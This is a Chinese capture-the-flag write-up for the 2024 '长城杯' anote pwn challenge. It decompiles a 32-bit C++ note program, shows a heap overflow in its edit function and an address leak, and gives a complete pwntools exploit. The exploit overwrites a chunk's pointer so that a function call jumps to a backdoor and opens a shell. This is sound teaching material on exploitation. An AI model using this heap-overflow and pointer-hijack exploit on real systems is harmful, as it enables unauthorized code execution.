[长城杯 2024]anote
题解前的小吐槽:终于还是狠下心复现了一下长城杯的这个赛题,第一次觉得汇编比函数看的方便,不过这题好写是好写的[心虚](还是看了一些大佬的wp)
[长城杯 2024]anote(堆溢出C++)
[长城杯 2024]anote
1.准备
motaly@motaly-VMware-Virtual-Platform:~$ file anote
anote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e2f50b307eb804b02b8c74e414bc661a749d70d7, stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=anote
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFYFortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 1 anote
这题是一个C++题目,因为题目的解答没有涉及到libc文件,我在ubuntu系统中安装了一下32的C++libc环境,最后也是能打通,所以没有更换libc版本
2.ida分析
main函数
int __cdecl main(int a1)
{int v1; // ebxunsigned int i; // eaxint v3; // eaxint v4; // eaxint v5; // ebxint v6; // eaxint v7; // eaxstd::istream *v8; // eaxint v9; // eaxstd::istream *v10; // eaxint v12; // [esp-8h] [ebp-70h]int v13; // [esp-8h] [ebp-70h]int v14; // [esp-8h] [ebp-70h]int v15; // [esp-8h] [ebp-70h]int v16; // [esp-4h] [ebp-6Ch]int v17; // [esp-4h] [ebp-6Ch]int v18; // [esp-4h] [ebp-6Ch]int v19; // [esp-4h] [ebp-6Ch]int n9_1; // [esp+0h] [ebp-68h] BYREFsize_t n; // [esp+4h] [ebp-64h] BYREFint n3; // [esp+8h] [ebp-60h] BYREFint n9; // [esp+Ch] [ebp-5Ch]int n10; // [esp+10h] [ebp-58h]int v25; // [esp+14h] [ebp-54h]int v26; // [esp+18h] [ebp-50h]int v27; // [esp+1Ch] [ebp-4Ch]int v28; // [esp+20h] [ebp-48h]int v29; // [esp+24h] [ebp-44h]int v30; // [esp+28h] [ebp-40h]int v31; // [esp+2Ch] [ebp-3Ch]int v32; // [esp+30h] [ebp-38h]int v33; // [esp+34h] [ebp-34h]int v34; // [esp+38h] [ebp-30h]int src; // [esp+3Ch] [ebp-2Ch] BYREFint v36; // [esp+40h] [ebp-28h]int v37; // [esp+44h] [ebp-24h]int v38; // [esp+48h] [ebp-20h]int v39; // [esp+4Ch] [ebp-1Ch]unsigned int v40; // [esp+5Ch] [ebp-Ch]int *v41; // [esp+60h] [ebp-8h]v41 = &a1;v40 = __readgsdword(0x14u);n9 = 0;n10 = 10;while ( 1 ){sub_804895C(); if ( n9 > 9 )break;std::istream::operator>>(&std::cin, &n3);if ( n3 == 2 ){std::operator<<<std::char_traits<char>>(&std::cout,"index: ",v12,v16,n9_1,n,2,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::istream::operator>>(&std::cin, &n9_1);if ( n9_1 >= n9 ){v4 = std::operator<<<std::char_traits<char>>(&std::cout,"the item does not exist.",v13,v17,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);exit(0);}v5 = *(&v25 + n9_1);v6 = std::operator<<<std::char_traits<char>>(&std::cout,"gift: ",v13,v17,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v7 = std::ostream::operator<<(v6, v5);std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);sub_80489E8(*(&v25 + n9_1));}else if ( n3 == 3 ){std::operator<<<std::char_traits<char>>(&std::cout,"index: ",v12,v16,n9_1,n,3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v8 = (std::istream *)std::istream::operator>>(&std::cin, &n9_1);std::istream::get(v8);if ( n9_1 >= n9 ){v9 = std::operator<<<std::char_traits<char>>(&std::cout,"the item does not exist.",v14,v18,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);exit(0);}std::operator<<<std::char_traits<char>>(&std::cout,"len: ",v14,v18,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v10 = (std::istream *)std::istream::operator>>(&std::cin, &n);std::istream::get(v10);if ( (int)n > 40 ){std::operator<<<std::char_traits<char>>(&std::cout,"too big!\n",v15,v19,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);exit(0);}std::operator<<<std::char_traits<char>>(&std::cout,"content: ",v15,v19,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::istream::getline((std::istream *)&std::cin, (char *)&src, 32);sub_8048A86(*(&v25 + n9_1), &src, n9_1, n);(**(void (__cdecl ***)(_DWORD))*(&v25 + n9_1))(*(&v25 + n9_1));}else{if ( n3 != 1 )exit(0);v1 = operator new(0x1Cu);for ( i = 0; i < 0x1C; i += 4 )*(_DWORD *)(v1 + i) = 0;sub_8048DFC(v1);v3 = n9++;*(&v25 + v3) = v1;std::operator<<<std::char_traits<char>>(&std::cout,"got new one!\n",v12,v16,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);}}std::operator<<<std::char_traits<char>>(&std::cout,"too much!!!\n",v12,v16,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);return 0;
}
开头先是一个sub_804895C函数
点击查看会发现他有一个警告,在0x804896F的地方分析失败,限制了我们查看这个函数
.text:0804895B align 4
.text:0804895C
.text:0804895C ; =============== S U B R O U T I N E =======================================
.text:0804895C
.text:0804895C ; Attributes: bp-based frame
.text:0804895C
.text:0804895C ; int sub_804895C(void)
.text:0804895C sub_804895C proc near ; CODE XREF: main:loc_8048ADC↓p
.text:0804895C ; __unwind {
.text:0804895C push ebp
.text:0804895D mov ebp, esp
.text:0804895F sub esp, 8
.text:08048962 sub esp, 8
.text:08048965 push offset a1Add ; "1. add\n"
.text:0804896A push offset _ZSt4cout ; std::cout
.text:0804896F call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:08048974 add esp, 10h
.text:08048977 sub esp, 8
.text:0804897A push offset a2ShowContent ; "2. show content\n"
.text:0804897F push offset _ZSt4cout ; std::cout
.text:08048984 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:08048989 add esp, 10h
.text:0804898C sub esp, 8
.text:0804898F push offset a3EditContent ; "3. edit content\n"
.text:08048994 push offset _ZSt4cout ; std::cout
.text:08048999 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:0804899E add esp, 10h
.text:080489A1 sub esp, 8
.text:080489A4 push offset a4Exit ; "4. exit\n"
.text:080489A9 push offset _ZSt4cout ; std::cout
.text:080489AE call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:080489B3 add esp, 10h
.text:080489B6 sub esp, 8
.text:080489B9 push offset aChoice ; "Choice>>"
.text:080489BE push offset _ZSt4cout ; std::cout
.text:080489C3 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:080489C8 add esp, 10h
.text:080489CB nop
.text:080489CC leave
.text:080489CD retn
.text:080489CD ; } // starts at 804895C
.text:080489CD sub_804895C endp
.text:080489CD
.text:080489CE
看汇编码就能看出这是一个menu菜单函数,但如果想看C++的话,可以直接在ida里面改一下这个地址的内容,我是直接改成了nop
menu函数
// positive sp value has been detected, the output may be wrong!
int sub_804895C()
{int v1; // [esp-17Ch] [ebp-184h]int v2; // [esp-178h] [ebp-180h]int v3; // [esp-174h] [ebp-17Ch]int v4; // [esp-170h] [ebp-178h]int v5; // [esp-16Ch] [ebp-174h]int v6; // [esp-168h] [ebp-170h]int v7; // [esp-164h] [ebp-16Ch]int v8; // [esp-160h] [ebp-168h]int v9; // [esp-15Ch] [ebp-164h]int v10; // [esp-158h] [ebp-160h]int v11; // [esp-154h] [ebp-15Ch]int v12; // [esp-150h] [ebp-158h]int v13; // [esp-14Ch] [ebp-154h]int v14; // [esp-148h] [ebp-150h]int v15; // [esp-144h] [ebp-14Ch]int v16; // [esp-140h] [ebp-148h]int v17; // [esp-13Ch] [ebp-144h]int v18; // [esp-138h] [ebp-140h]int v19; // [esp-134h] [ebp-13Ch]int v20; // [esp-130h] [ebp-138h]int v21; // [esp-12Ch] [ebp-134h]int v22; // [esp-128h] [ebp-130h]int v23; // [esp-11Ch] [ebp-124h]int v24; // [esp-118h] [ebp-120h]int v25; // [esp-114h] [ebp-11Ch]int v26; // [esp-110h] [ebp-118h]int v27; // [esp-10Ch] [ebp-114h]int v28; // [esp-108h] [ebp-110h]int v29; // [esp-104h] [ebp-10Ch]int v30; // [esp-100h] [ebp-108h]int v31; // [esp-FCh] [ebp-104h]int v32; // [esp-F8h] [ebp-100h]int v33; // [esp-F4h] [ebp-FCh]int v34; // [esp-F0h] [ebp-F8h]int v35; // [esp-ECh] [ebp-F4h]int v36; // [esp-E8h] [ebp-F0h]int v37; // [esp-E4h] [ebp-ECh]int v38; // [esp-E0h] [ebp-E8h]int v39; // [esp-DCh] [ebp-E4h]int v40; // [esp-D8h] [ebp-E0h]int v41; // [esp-D4h] [ebp-DCh]int v42; // [esp-D0h] [ebp-D8h]int v43; // [esp-CCh] [ebp-D4h]int v44; // [esp-C8h] [ebp-D0h]int v45; // [esp-BCh] [ebp-C4h]int v46; // [esp-B8h] [ebp-C0h]int v47; // [esp-B4h] [ebp-BCh]int v48; // [esp-B0h] [ebp-B8h]int v49; // [esp-ACh] [ebp-B4h]int v50; // [esp-A8h] [ebp-B0h]int v51; // [esp-A4h] [ebp-ACh]int v52; // [esp-A0h] [ebp-A8h]int v53; // [esp-9Ch] [ebp-A4h]int v54; // [esp-98h] [ebp-A0h]int v55; // [esp-94h] [ebp-9Ch]int v56; // [esp-90h] [ebp-98h]int v57; // [esp-8Ch] [ebp-94h]int v58; // [esp-88h] [ebp-90h]int v59; // [esp-84h] [ebp-8Ch]int v60; // [esp-80h] [ebp-88h]int v61; // [esp-7Ch] [ebp-84h]int v62; // [esp-78h] [ebp-80h]int v63; // [esp-74h] [ebp-7Ch]int v64; // [esp-70h] [ebp-78h]int v65; // [esp-6Ch] [ebp-74h]int v66; // [esp-68h] [ebp-70h]int v67; // [esp-5Ch] [ebp-64h]int v68; // [esp-58h] [ebp-60h]int v69; // [esp-54h] [ebp-5Ch]int v70; // [esp-50h] [ebp-58h]int v71; // [esp-4Ch] [ebp-54h]int v72; // [esp-48h] [ebp-50h]int v73; // [esp-44h] [ebp-4Ch]int v74; // [esp-40h] [ebp-48h]int v75; // [esp-3Ch] [ebp-44h]int v76; // [esp-38h] [ebp-40h]int v77; // [esp-34h] [ebp-3Ch]int v78; // [esp-30h] [ebp-38h]int v79; // [esp-2Ch] [ebp-34h]int v80; // [esp-28h] [ebp-30h]int v81; // [esp-24h] [ebp-2Ch]int v82; // [esp-20h] [ebp-28h]int v83; // [esp-1Ch] [ebp-24h]int v84; // [esp-18h] [ebp-20h]int v85; // [esp-14h] [ebp-1Ch]int v86; // [esp-10h] [ebp-18h]int v87; // [esp-Ch] [ebp-14h]int v88; // [esp-8h] [ebp-10h]std::operator<<<std::char_traits<char>>(&std::cout,"2. show content\n",v1,v2,v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20,v21,v22);std::operator<<<std::char_traits<char>>(&std::cout,"3. edit content\n",v23,v24,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,v35,v36,v37,v38,v39,v40,v41,v42,v43,v44);std::operator<<<std::char_traits<char>>(&std::cout,"4. exit\n",v45,v46,v47,v48,v49,v50,v51,v52,v53,v54,v55,v56,v57,v58,v59,v60,v61,v62,v63,v64,v65,v66);return std::operator<<<std::char_traits<char>>(&std::cout,"Choice>>",v67,v68,v69,v70,v71,v72,v73,v74,v75,v76,v77,v78,v79,v80,v81,v82,v83,v84,v85,v86,v87,v88);
}
因为我们改的正好是add函数调用输出函数语句,改为空值nop,所以最后menu菜单函数里面没有add函数,这个没什么关系,不会影响程序运行
最后我们得到的是1--add函数,2--show函数,3--edit函数,程序没有删除函数
add函数
else{if ( n9_1 != 1 )exit(0);v1 = operator new(0x1Cu);for ( i = 0; i < 0x1C; i += 4 )*(_DWORD *)(v1 + i) = 0;sub_8048DFC(v1);v3 = n9++;*(&v25 + v3) = v1;std::operator<<<std::char_traits<char>>(&std::cout,"got new one!\n",v12,v16,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);}
这里是添加堆块,直接创建一个28(0x1C)大小的堆块
show函数
if ( n9_1 == 2 ){std::operator<<<std::char_traits<char>>(&std::cout,"index: ",v12,v16,n9_2,n,2,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::istream::operator>>(&std::cin, &n9_2);if ( n9_2 >= n9 ){v4 = std::operator<<<std::char_traits<char>>(&std::cout,"the item does not exist.",v13,v17,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);exit(0);}v5 = *(&v25 + n9_2);v6 = std::operator<<<std::char_traits<char>>(&std::cout,"gift: ",v13,v17,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v7 = std::ostream::operator<<(v6, v5);std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);sub_80489E8(*(&v25 + n9_2));}
看提示语会发现,他在正常输出堆块内容的同时,还会有一个gift,具体的在运行程序时会发现,这个gift是泄露了一个地址
edit函数
else if ( n9_1 == 3 ){std::operator<<<std::char_traits<char>>(&std::cout,"index: ",v12,v16,n9_2,n,3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v8 = (std::istream *)std::istream::operator>>(&std::cin, &n9_2);std::istream::get(v8);if ( n9_2 >= n9 ){v9 = std::operator<<<std::char_traits<char>>(&std::cout,"the item does not exist.",v14,v18,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);exit(0);}std::operator<<<std::char_traits<char>>(&std::cout,"len: ",v14,v18,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v10 = (std::istream *)std::istream::operator>>(&std::cin, &n);std::istream::get(v10);if ( (int)n > 40 ){std::operator<<<std::char_traits<char>>(&std::cout,"too big!\n",v15,v19,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);exit(0);}std::operator<<<std::char_traits<char>>(&std::cout,"content: ",v15,v19,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::istream::getline((std::istream *)&std::cin, (char *)&src, 32);sub_8048A86(*(&v25 + n9_2), &src, n9_2, n);(**(void (__cdecl ***)(_DWORD))*(&v25 + n9_2))(*(&v25 + n9_2));}
这里修改堆块数据,虽然限制长度不能大于40,但这里的堆溢出足够我们修改下一个堆块的数据了
最后看到有system函数
就顺带去字符串表中看了一下
还发现了/bin/sh,追溯一下
sub_80489CE函数(后门函数)
int sub_80489CE()
{return system("/bin/sh");
}
直接的连接点system("/bin/sh")
连接地址为0x80489CE
3.EXP
思路:
这题是堆溢出,泄露了一个地址,有直接的连接点system("/bin/sh")
先创建两个堆块,show一个,接收gift地址,看一下给的gift地址是什么
from pwn import *
context.log_level = "debug"
# io=remote('node1.anna.nssctf.cn',28855)
io= process('/home/motaly/anote')def add():io.sendlineafter("Choice>>", "1")def show(index):io.sendlineafter("Choice>>", "2")io.sendlineafter("index:", str(index))def edit(index, len, content):io.sendlineafter("Choice>>", "3")io.sendlineafter("index:", str(index))io.sendlineafter("len:", str(len))io.sendlineafter("content:", content)sh=0x80489CEadd() #0
add() #1
show(0)io.recvuntil(b'gift:')
gift=int(io.recv(10),16)
log.success('gift :'+hex(gift))
我们show的是0块,gift给的是0块的起始地址
所以我们可以在0块写入连接地址,通过堆溢出,覆盖到1块,并改写1块的指针,使其指向0块我们写入连接地址的地方,最后我们可以用edit编辑一下1块,调用1块触发连接
sh=0x80489CEadd() #0
add() #1
show(0)io.recvuntil(b'gift:')
gift=int(io.recv(10),16)
log.success('gift :'+hex(gift))
payload=p32(sh)+b'a'*16+p32(0x21)+p32(gift+8)
edit(0,0x28,payload)
先随便测试一下
看到红线出是输入点
我们先写入连接地址p32(sh)
填充16个值到下一个堆块的size位b'a'16
写入下一个堆块的size值p32(0x21)
gift是0块的起始地址0x96a77d0,我们需要gift+8才能到0x96a77d8,我们写入连接地址的地方
最后调用一下1块触发连接
sh=0x80489CEadd() #0
add() #1
show(0)io.recvuntil(b'gift:')
gift=int(io.recv(10),16)
log.success('gift :'+hex(gift))
payload=p32(sh)+b'a'*16+p32(0x21)+p32(gift+8)
edit(0,0x28,payload)
gdb.attach(io)
pause()
edit(1,0x10,b'a')
脚本:
from pwn import *
context.log_level = "debug"
# io=remote('node1.anna.nssctf.cn',28855)
io= process('/home/motaly/anote')def add():io.sendlineafter("Choice>>", "1")def show(index):io.sendlineafter("Choice>>", "2")io.sendlineafter("index:", str(index))def edit(index, len, content):io.sendlineafter("Choice>>", "3")io.sendlineafter("index:", str(index))io.sendlineafter("len:", str(len))io.sendlineafter("content:", content)sh=0x80489CEadd() #0
add() #1
show(0)io.recvuntil(b'gift:')
gift=int(io.recv(10),16)
log.success('gift :'+hex(gift))
payload=p32(sh)+b'a'*16+p32(0x21)+p32(gift+8)
edit(0,0x28,payload)
gdb.attach(io)
pause()
edit(1,0x10,b'a')
io.interactive()
相关文章:
[长城杯 2024]anote
题解前的小吐槽:终于还是狠下心复现了一下长城杯的这个赛题,第一次觉得汇编比函数看的方便,不过这题好写是好写的[心虚](还是看了一些大佬的wp) [长城杯 2024]anote(堆溢出C) [长城杯 2024]anote 1.准备 motalymotaly-VMware-Virtual-Platform:~$ fi…...
verify_ssl 与 Token 验证的区别详解
verify_ssl 与 Token 验证的区别详解 在开发或调用 API 接口时,我们经常会遇到两个看似相关但实际上作用完全不同的安全参数: 传输层的 verify_ssl应用层的 Authorization(最常见是 Bearer Token) 虽然它们都与“安全”有关&am…...
Python集合
一、Python集合概述 Python集合(set)是一种无序、可变且不包含重复元素的数据结构。集合在Python中通过哈希表实现,这使得它在成员检测和去重操作中具有极高的效率。 集合与列表、元组的主要区别: 无序性:元素没有固定顺序 唯一性&#x…...
容器化-K8s-镜像仓库使用和应用
一、K8s 镜像仓库使用 1、启动镜像仓库 cd/usr/local/harbor ./install.sh2、配置镜像仓库地址 在 master 节点和 slaver 节点上,需要配置 Docker 的镜像仓库地址,以便能够访问本地的镜像仓库。编辑 Docker 的配置文件 vi /etc/docker/daemon.json(如果不存在则创建),添…...
解决报错 Flask-SQLAlchemy TypeError: ‘float‘ object is not callable
Flask-SQLAlchemy TypeError: ‘float’ object is not callable Flask-SQLAlchemy 与 Python 版本兼容性问题解决方案 日期:2025 年 5 月 19 日 分类:后端开发、Python、Flask 标签:Flask-SQLAlchemy, Python 版本兼容,错误修复…...
k8s节点维护的细节
k8s节点维护的细节 Kubernetes(k8s)节点维护是保障集群稳定运行的重要工作,涉及节点升级、故障排查、资源优化等多个方面。维护步骤和操作命令: 一、节点维护前的准备工作 1. 查看集群状态 kubectl get nodes # 查看所有节点状…...
基于STM32的光照测量报警Proteus仿真设计+程序设计+设计报告+讲解视频
基于STM32的光照测量报警仿真设计 1.**主要功能****2.仿真设计****3.程序设计****4.设计报告****5.下载链接** 基于STM32的光照测量报警仿真设计 (Proteus仿真程序设计设计报告讲解视频) 仿真图Proteus 8.9 程序编译器:keil 5 编程语言:C语…...
Docker 运维管理
Docker 运维管理 一、Swarm集群管理1.1 Swarm的核心概念1.1.1 集群1.1.2 节点1.1.3 服务和任务1.1.4 负载均衡 1.2 Swarm安装准备工作创建集群添加工作节点到集群发布服务到集群扩展一个或多个服务从集群中删除服务ssh免密登录 二、Docker Compose与 Swarm 一起使用 Compose 三…...
五分钟本地部署大模型
前提:个人PC机,配置:CPU:i5-13600KF 显卡:RTX3080 内存:32GB 1.安装ollama 访问https://ollama.com/,点击下载,完成后傻瓜式安装即可; 2.修改环境变量 默认大模型下载在C盘&…...
RSA(公钥加密算法)
RSA(Rivest-Shamir-Adleman)是一种常见的公钥加密算法,广泛应用于安全通信中。它是由三位计算机科学家Ron Rivest、Adi Shamir和Leonard Adleman于1977年提出的,是一种基于数论问题的加密算法。 一、RSA的基本原理 RSA是基于大数…...
Go语言测试用例的执行与分析
在软件开发过程中,测试用例是确保代码质量的关键环节。Go语言作为一种现代的编程语言,它内置了强大的测试框架,可以帮助开发者轻松编写和执行测试用例。本文将介绍如何在 Go 语言中编写、执行测试用例,并对测试结果进行分析。 ## …...
动态规划-LCR 089.打家劫舍-力扣(LeetCode)
一、题目解析 结合示例1,我们能得知对于小偷而言不能连续偷相连的房间,且需要保证偷窃的金额最高。 二、算法解析 1.状态表示 我们想知道到最后一个房子时所偷窃的最高金额,所以dp[i]表示在i位置时,所偷到的最大价值。 但我们…...
leetcode hot100:解题思路大全
因为某大厂的算法没有撕出来,怒而整理该贴。只有少数题目有AC代码,大部分只会有思路或者伪代码。 技巧 只出现一次的数字 题目 给你一个 非空 整数数组 nums ,除了某个元素只出现一次以外,其余每个元素均出现两次。找出那个只出…...
2022年下半年信息系统项目管理师——综合知识真题及答案(4)
2022年下半年信息系统项目管理师 ——综合知识真题及答案(4) 零、时光宝盒 (https://blog.csdn.net/weixin_69553582 逆境清醒) 双向奔赴的善意 网上看到的视频。 家里开包子店的男孩冒雨放学,路口的交警叔叔担心孩…...
大语言模型(LLM)本身是无状态的,怎么固化记忆
大语言模型(LLM)本身是无状态的,无法直接“记住”历史对话或用户特定信息 大语言模型(LLM)本身是无状态的,无法直接“记住”历史对话或用户特定信息,但可以通过架构改进、外部记忆整合、训练方法优化等方案实现上下文记忆能力。 一、模型内部记忆增强:让LLM“记住”…...
ISO 26262-5 硬件详细设计
7 Hardware detailed design 硬件详细设计个人理解包含各种理论计算和分析 为了避免常见的设计缺陷, 应运用相关的经验总结。 在硬件详细设计时, 应考虑安全相关硬件元器件失效的非功能性原因, 如果适用, 可包括以下的影响因素&…...
C# NX二次开发-求体、面的最小包容圆柱
NX自带ufun函数里有求体、面的最小包容方块。(UF_MODL_ask_bounding_box、UF_MODL_ask_bounding_box_aligned、UF_MODL_ask_bounding_box_aligned),但没有求最小包容圆柱。但有很多时候需要求最小包容圆柱。比如零件开圆棒料。这时需要通过一些方法来计算出最小包容圆柱。 …...
vue2.0 组件之间的数据共享
个人简介 👨💻个人主页: 魔术师 📖学习方向: 主攻前端方向,正逐渐往全栈发展 🚴个人状态: 研发工程师,现效力于政务服务网事业 🇨🇳人生格言&…...
11.4/Q1,GBD数据库最新文章解读
文章题目:Global, regional, and national burden of neglected tropical diseases and malaria in the general population, 1990-2021: Systematic analysis of the global burden of disease study 2021 DOI:10.1016/j.jare.2025.04.004 中文标题&…...
【愚公系列】《Manus极简入门》048-自然探险之旅:“户外活动规划师”
🌟【技术大咖愚公搬代码:全栈专家的成长之路,你关注的宝藏博主在这里!】🌟 📣开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主! …...
生命科学温控物流:现状、驱动因素与发展趋势深度洞察
在生命科学产业蓬勃发展的当下,生命科学温控物流作为保障药品、疫苗等温度敏感产品安全运输的关键环节,正受到越来越多的关注。根据QYResearch报告出版商调研统计,2031年全球生命科学温控物流市场销售额预计将达到3563.3亿元,年复…...
2025-2030年制造业数字化转型发展趋势展望
随着科技的飞速发展,数字化转型已成为制造业提升竞争力、实现高质量发展的核心路径。从2025年到2030年,这一趋势将进一步深化,新技术、新模式和新生态将为制造业注入强劲动力。作为小编,今天带大家一起来看看未来五年制造业数字化…...
OSD原理以及模块的讲解
一.原理讲解 1.OSD的概念: OSD(on-screen-display)中文名称是屏幕菜单调节显示方式,它的作用是对屏幕显示器做各种工作指标,包括:色彩、几何图形等进行调整,从而使得整个显示器得到最佳的状。 最常见的OSD调试就是在…...
SQL注入——Sqlmap工具使用
一、Sqlmap介绍 Sqlmap 是一个使用python语言开发的开源的渗透测试工具,可以用来进行自动化检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,…...
如何有效提高海外社媒矩阵曝光率,避免封号风险?
在全球社交媒体营销的过程中,海外矩阵社媒的运营已经成为一个不可或缺的策略。通过建立多个社媒账号,可以有效地扩展市场覆盖、提高品牌曝光率,但与此同时,账号之间的关联问题也需要引起足够重视。过度的关联可能导致社媒平台对账…...
B树与B+树全面解析
B树与B树全面解析 前言一、B 树的基本概念与结构特性1.1 B 树的定义1.2 B 树的结构特性1.3 B 树的节点结构示例 二、B 树的基本操作2.1 查找操作2.2 插入操作2.3 删除操作 三、B 树的基本概念与结构特性3.1 B 树的定义3.2 B 树的结构特性3.3 B 树的节点结构示例 四、B 树与…...
代码随想录60期day41
完全背包 #include<iostream> #include<vector>int main() {int n,bagWeight;int w,v;cin>>n>>bagWeight;vector<int>weight(n);vector<int>value(n);for(int i 0;i <n;i){cin>>weight[i]>>value[i];}vector<vecotr&l…...
语言幻觉测试用例及相关策略总结
文章目录 语言幻觉测试用例及相关策略总结如何判断内容是否存在语言幻觉? 一、语言幻觉测试用例类型1.1 事实性错误测试用例 1:时效性强的事实用例 2:跨领域常识用例 3:动态变化的规则 **1.2 逻辑矛盾测试**用例 1:同一…...
云原生攻防1(基础介绍)
什么是云原生 云原生是一套技术体系和方法论。 云:表示应用程序位于云中 原生:表示应用程序从设计之初就考虑到云的环境,原生为云而设计,在云上以最佳状态运行。 CNCF(Cloud Native Compute Foundation) 是 Linux 基金会旗下的一个组织,主要作用是在推动以容器为中心的…...
云原生环境下的事件驱动架构:理念、优势与落地实践
📝个人主页🌹:慌ZHANG-CSDN博客 🌹🌹期待您的关注 🌹🌹 一、引言:从服务调用到事件流动的转变 随着云原生技术的兴起,软件架构正经历一场深刻变革。传统以请求响应为主的服务通信方式,在高度动态、分布式的云原生环境下暴露出诸多挑战:强同步耦合、高延迟链路…...
InternLM 论文分类微调实践(XTuner 版)
1.环境安装 我创建开发机选择镜像为Cuda12.2-conda,选择GPU为100%A100的资源配置 Conda 管理环境 conda create -n xtuner_101 python3.10 -y conda activate xtuner_101 pip install torch2.4.0cu121 torchvision torchaudio --extra-index-url https://downloa…...
kotlin Flow的技术范畴
Flow 是 Kotlin 中的技术,准确地说,它是 Kotlin 协程(Kotlin Coroutines)库的一部分,属于 Kotlin 的 异步编程范畴。 ✅ Flow 的归属与背景: 所属技术:Kotlin(由 JetBrains 开发&am…...
PyTorch图像建模(图像识别、分割和分类案例)
文章目录 图像分类技术:改变生活的智能之眼图形识别技术图像识别过程图像预处理图像特征提取 图像分割技术练习案例:图像分类项目源码地址实现代码(简化版)训练结果(简化版)实现代码(优化版&…...
系统安全应用
文章目录 一.账号安全控制1.基本安全措施①系统账号清理②密码安全控制 2.用户切换与提权①su命令用法②PAM认证 3.sudo命令-提升执行权限①在配置文件/etc/sudoers中添加授权 二.系统引导和登录控制1.开关机安全控制①调整bios引导设置②限制更改grub引导参数 三.弱口令检测.端…...
day53—二分法—搜索旋转排序数组(LeetCode-81)
题目描述 已知存在一个按非降序排列的整数数组 nums ,数组中的值不必互不相同。 在传递给函数之前,nums 在预先未知的某个下标 k(0 < k < nums.length)上进行了 旋转 ,使数组变为 [nums[k], nums[k1], ..., nu…...
力扣面试150题--从前序与中序遍历序列构造二叉树
Day 43 题目描述 思路(这题第一次没做出来,看了题解后理解) 做法:哈希表递归 首先复习一下前序遍历和中序遍历, 前序遍历:中左右,这个不仅是遍历树的路线,同时对一个对于一个前序遍…...
win10 上删除文件夹失败的一个原因:sqlYog 备份/导出关联了该文件夹
在尝试删除路径为.../bak/sql的文件时,系统提示无权限操作。然而,关闭SQLyog后,删除操作成功完成。这表明SQLyog可能正在占用该文件,导致删除权限受限。关闭SQLyog后,文件被释放,删除操作得以顺利进行。建议…...
卷java、基础2
内部类 了解 1. 成员内部类(了解) 2. 静态内部类(了解) 实例化的写法 局部内部类(看看就好) 局部内部类是定义在在方法中、代码块中、构造器等执行体中。 匿名内部类(重要) 1.先…...
从 “龟速” 到流畅,英国 - 中国 SD-WAN 专线让分公司直连总部系统
对于在英国设立总部、国内开设分公司的企业而言,分公司访问总部内网系统常面临网络延迟高、连接不稳定等问题。传统网络方案难以满足跨国数据传输需求,而英国 - 中国 SD-WAN 国际组网专线凭借创新技术,为企业搭建起高效稳定的网络桥梁。 SD-W…...
C++--综合应用-演讲比赛项目
